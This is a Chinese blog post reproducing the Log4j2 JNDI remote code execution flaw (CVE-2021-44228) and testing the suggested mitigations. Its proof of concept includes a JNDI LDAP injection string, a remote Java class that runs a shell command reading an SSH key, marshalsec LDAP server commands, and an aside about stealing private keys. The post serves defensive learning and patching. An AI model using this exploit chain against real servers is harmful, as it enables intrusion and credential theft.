关于java:log4j2远程执行代码漏洞md

前情提要

​ 上周,Apache Log4j2爆出高危破绽(CVE-2021-44228): Log4j2组件存在JNDI注入破绽,破绽利用门槛低,即可利用该破绽在指标服务器上执行任意代码。Log4j2组件是一款开源的Java日志框架,被宽泛地利用在中间件、开发框架与Web利用中,用来记录日志信息。因而该破绽影响范围广,公司要求彻查代码并修复破绽。

近程执行代码破绽复现

  • 试验环境

    1. MacOS操作系统
    2. Python环境
    3. 本DEMO在JAVA8环境下执行,其余版本自行验证
    4. log4j2日志库,包含受影响的版本范畴 log4j-core versions >=2.0-beta9 and <=2.14.1`
  • 复现破绽

    新建一般的maven我的项目,pom.xml中引入log4j-core与log4j-api的jar包,指定版本为2.13.3

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>cve-2021-44228-log4j-exploits</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>1.8</maven.compiler.source>
            <maven.compiler.target>1.8</maven.compiler.target>
        </properties>
    
        <dependencies>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.13.3</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.13.3</version>
            </dependency>
        </dependencies>
    </project>

    而后在java目录下创立Hack.java,内容如下:

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    /**
     * @author cat
     */
    public class Hack {
    
        private static final Logger logger = LogManager.getLogger(Hack.class);
    
        public static void main(String[] args) {
    
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
        }
    
    }

    这个文件模仿的就是应用了log4j2的web服务程序。因为大多数应用Java开发的后端服务都是网络服务,用户能够通过网页表单提交输出内容,出于调试的需要,比方:restful接口产生运行时异样,通过logger.error形式打印产生异样时候用户提交的参数,那么就会间接中招。

    接下来构建LDAP服务器+http服务器(用于近程执行攻打代码,这两个服务器都在攻击者电脑上)

    抉择一个其余目录http-server(与Hack.java不同目录),代码目录构造如下:

    创立Log4jRCE.java文件。这个文件就是咱们想在近程服务器执行的攻打代码,咱们能够通过这个文件尝试调用系统命令,这里以输入Mac电脑的SSH公钥为例。

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Log4jRCE {
        public Log4jRCE() {
        }
    
        static {
            System.out.println("I am Log4jRCE from remote!!!");
            String[] var1 = new String[]{"cat", "/Users/jingbo/.ssh/id_rsa.pub"};
    
            try {
                Process var0 = Runtime.getRuntime().exec(var1);
                InputStream var2 = var0.getInputStream();
                InputStreamReader var3 = new InputStreamReader(var2);
                BufferedReader var4 = new BufferedReader(var3);
                String var5 = null;
    
                while((var5 = var4.readLine()) != null) {
                    System.out.println(var5);
                }
            } catch (IOException var6) {
                var6.printStackTrace();
            }
    
        }
    }

    而后编译一下这个类失去字节码文件Log4jRCE.class,命令如下:

    javac Log4jRCE.java

    而后在这个文件所在目录http-server下关上terminal控制台,启动Python自带的http服务器

    接着通过git下载Apache-Log4j-Learning并执行tools工具启动一个LDAP服务器

    git clone https://github.com/bkfish/Apache-Log4j-Learning.git 
    cd Apache-Log4j-Learning/tools
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"

    而后运行Hack.java模仿注入攻打,服务端应用log4j2输入日志。后果为:

    能够看到,机器的公钥曾经在服务器上被输入了。当然这并没有什么意义,但如果咱们的Log4jRCE的逻辑是通过网络通信将私钥发送给指定服务器(攻击者的电脑),或者是将攻击者的SSH公钥写入Authorized_keys文件中,那么就会呈现极其重大的平安问题。

    总结一下攻打过程,攻击者在网页表单的输入框里输出注入攻打语句,在提交表单时,被服务器端的Log4j框架作为日志输入,但因为该库的某些解析结构破绽,会把${}括号中的语句作为命令执行。攻击者的注入攻打语句通过解析会先拜访ldap服务器,而后由ldap解析出咱们要的文件名为Log4jRCE,ldap向HTTP服务器申请获取这个文件,最初网站服务器在本地实例化并执行这个java类,即攻击者的攻打脚本失去执行。

验证互联网上的长期解决方案

  1. 应用 jvm 参数启动 -Dlog4j2.formatMsgNoLookups=true
  2. 设置 log4j2.formatMsgNoLookups=True
  3. 零碎环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

通过本人的验证和测试之后,发现各大厂商给出的计划有谬误,包含到目前为止网络上还是存在大量的谬误

  • 首先辨别版本,2.10以下版本中环境变量办法是有效的(以上三种形式都生效)。
  • 2.10以上版本,零碎环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true,这个是有效的(不信的敌人自行验证)。LOG4J_FORMAT_MSG_NO_LOOKUPS这个环境变量才是无效的。

官网举荐修复计划

https://logging.apache.org/lo…

通过官网文档中的阐明,临时能够不批改log4j2版本的长期解决方案:

  • 2.10以下版本中须要从classpath中移出JndiLookup class

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 2.10以上版本中设置零碎参数log4j2.formatMsgNoLookups=true与环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true

然而官网还是强烈建议大家降级log4j2的版本为2.15.0的最新版本

总结

  • 文中破绽Demo复现代码我上传到github,大家能够自行下载进行试验(本Demo只是为了复现问题,请不要用于其余非法用处)

    https://github.com/lov3r/cve-…

  • 还有一点给大家的倡议:

    在工作和学习的过程中不要认为网络上看到的货色就是正确的,对任何事物和问题咱们要放弃一颗狐疑的心,本人多入手验证

    本文由博客一文多发平台 OpenWrite 公布!

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理